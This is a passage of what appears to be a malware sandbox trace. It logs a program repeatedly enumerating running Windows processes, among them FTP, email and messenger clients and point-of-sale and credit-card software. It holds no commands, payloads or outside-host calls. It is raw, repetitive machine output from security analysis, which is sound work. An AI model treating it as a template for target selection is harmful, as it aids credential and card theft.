dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0272.554] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0272.556] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0272.558] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0272.560] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0272.562] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0272.564] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0272.566] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0272.568] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0272.570] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0272.572] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0272.574] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0272.576] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0272.578] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0272.580] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0272.582] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0272.584] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0272.586] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0272.588] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0272.590] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0272.593] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0272.596] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0272.599] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0272.601] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0272.603] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0272.606] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0272.608] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0272.610] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0272.611] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0272.613] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0272.615] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0272.648] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0272.650] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0272.651] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0272.653] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0272.655] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0272.657] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0272.659] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0272.660] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0272.662] CloseHandle (hObject=0x21cc) returned 1 [0272.662] Sleep (dwMilliseconds=0x64) [0272.664] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21cc [0272.677] Process32First (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0272.679] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0272.681] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0272.682] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0272.684] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0272.686] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0272.688] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0272.689] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0272.691] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0272.693] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.694] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.696] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0272.697] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.700] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.702] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.703] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.705] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.707] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.709] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.711] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0272.713] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0272.714] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0272.716] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.718] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0272.720] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0272.722] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0272.723] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0272.725] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0272.727] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0272.728] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0272.730] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.732] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0272.734] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0272.736] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0272.737] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.739] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0272.741] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0272.742] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0272.744] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0272.746] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0272.747] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0272.749] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0272.752] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0272.754] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0272.782] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, 